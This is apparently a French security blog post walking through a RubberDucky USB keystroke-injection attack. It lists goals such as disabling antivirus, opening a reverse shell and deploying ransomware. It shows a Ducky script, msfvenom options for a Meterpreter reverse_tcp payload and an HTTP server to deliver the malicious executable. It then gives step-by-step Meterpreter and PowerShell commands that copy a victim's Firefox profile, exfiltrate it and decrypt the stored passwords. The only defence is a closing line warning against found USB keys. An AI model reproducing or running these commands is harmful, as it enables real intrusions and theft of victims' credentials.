Yourlabs

Yourlabs security 1/3

| par Claw | securité

RubberDucky

Fonctionnement

Il ressemble à une clef usb d’apparence anodine mais il s’agit en realité d’un clavier scripté capable de tapper plus de 1000mots par minute. Il contient une carte memoire qui contient notre script et marche très bien sur tout OS même à jour.

Objectifs

  • desactiver les antivirus |
  • configurer un proxy |
  • démarrer un reverse shell |
  • insertion de certificat d’autorité |
  • démarrer des scripts powershell |
  • tels qu’un ransomware |

Exemple de script RubberDucky:

DELAY 700                        // Attendre 700 ms 
ESCAPE                           // Tapper Echap
DELAY 100                        // Attendre 100ms
CONTROL ESCAPE                   // Ouvrir le menu Démarer
DELAY 100
STRING Windows Security          // Tapper "Windows Security"
DELAY 200
...

Compilation

Le compilateur est fournit en .jar c’est du java compilé et packagé:

  • -i l’input
  • -l l’output (doit tjs etre inject.bin)
  • le plus important -l pour le langage du clavier

Reverse shell

Un reverse shell est un programme qui permet d’obtennir un acces distant pour executer des commandes. Le but est de l’executer sur la machine de la victime pour qu’il se connecte a un shell qu’on a mit en ecoute de connection sur un serveur.

On utilise Msfvenom pour creer le payoad et Metasploit pour le server Meterpreter (cest sur celui ci que la victime va se connecter:

  • -a: l’architecture CPU
  • --platform: la plateforme (windows, android, nix…)
  • -p: Le paylaod, dans ce cas meterpreter reverse_tcp
  • LHOST: l’ip du server meterpreter
  • LPORT: le port du server meterpreter
  • -e: l’encoding
  • -f: le format
  • > /tmp/mad/666.exe: la destination

Distribution

cd /tmp/mad && python -m http.server
# Sous ubuntu, debian... il faut utiliser python3 -m http.server
# car python = python2 sous ArchLinux python = python3

Une fois pret on utilise un petit server http pour que la victime puisse telecharger notre exe malvaillante

Demo

(clické sur les images pour voir les videos)

Conclusion:

Ne ramassez pas les clefs usb que vous trouvez dans la rue


Reverse shell

Usages

  • Vol de mots de passe firefox
  • Keylogger
  • Screen capture
  • Downloader et uploader des fichiers
  • Implementation d’un ransomeware
  • Reconnaissance et mouvement transversaux dans le reseau

Vol de mots de passe Firefox

meterpreter > shell
> powershell
> cd /users/<user> #(utilisez whoami pr le savoir)
> copy-item /users/33768/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release -destination /windows/temp/mad.default-release -recurse
> Compress-Archive -Path /windows/temp/mad.default-release -DestinationPath /windows/temp/mad.default-release.zip
> exit
> exit
meterpreter > Download /windows/temp/mad.default-release.zip /tmp
  • [1] Lancer cmd)
  • [2] Lancer powershell)
  • [3] Copie des fichiers .default-release de firefox
  • [4] Compression dans fichiers dans une archive zip
  • [5-6] On exit 2 fois pour revenir au prompt meterpreter >
  • [7] Exifltration de l’archive zip

Extraction

Dans un autre terminal, on unzip et place les fichier dans le repetoir ~/.mozila/firefox

$ unzip mad.default-release.zip
$ sudo cp -r mad.default-release /home/<you>/.mozilla/firefox
$ sudo chown -R ${USER}. /home/<you>/.mozilla/firefox/mad.default-release

Configuration

Par la suite on edite ~/.mozilla/firefox/profiles.ini avec le nouveau profile

[Profile2]
Name=default-release
IsRelative=1
Path=mad.default-release

Dechiffrement

On utilise un outil appellé “firefox-decrypt":

$ git clone https://github.com/unode/firefox_decrypt.git
$ cd firefox_decrypt
$ python firefox_decrypt.py

Resultat